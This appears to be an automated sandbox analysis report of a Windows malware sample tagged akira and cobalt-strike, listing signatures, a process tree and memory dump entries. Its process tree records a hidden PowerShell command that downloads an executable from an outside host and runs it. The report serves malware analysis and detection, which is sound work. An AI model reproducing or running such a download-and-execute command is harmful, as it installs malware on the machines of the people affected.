Analysis
- max time kernel
148s - max time network
132s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
17/10/2026, 04:30
General
- Target 2026-10-16_e44bcec56b08fac43662ca56c4c21b17_akira_cobalt-strike.exe
- Size 784KB
- Sample261017-e45qhasw3j
- SHA256 fed5f5440efb56240875006ddbfe0be2cbd4139bc4376f7e488916b5e031e1b3
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-16_e44bcec56b08fac43662ca56c4c21b17_akira_cobalt-strike.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-16_e44bcec56b08fac43662ca56c4c21b17_akira_cobalt-strike.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "& { iwr -Uri 'https://data-miner.cyou/dl/dzaf7rd' -OutFile $env:TEMP\BK877963.exe; Start-Process $env:TEMP\BK877963.exe -WindowStyle Hidden }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/2692-0-0x0000000140000000-0x00000001400C4000-memory.dmp
memory/2692-1-0x0000000140000000-0x00000001400C4000-memory.dmp
memory/3004-2-0x00007FFE8D00F000-0x00007FFE8D010000-memory.dmp
memory/3004-3-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp
memory/3004-4-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp
memory/3004-5-0x000001C76CC40000-0x000001C76CC62000-memory.dmp
memory/3004-6-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp
memory/3004-7-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp
memory/3004-10-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp
memory/3004-11-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp
memory/3004-12-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp
memory/3004-13-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp
memory/3004-14-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp
memory/3004-15-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp
memory/3004-16-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp
memory/3004-17-0x000001C76D810000-0x000001C76DFB6000-memory.dmp
memory/3004-20-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp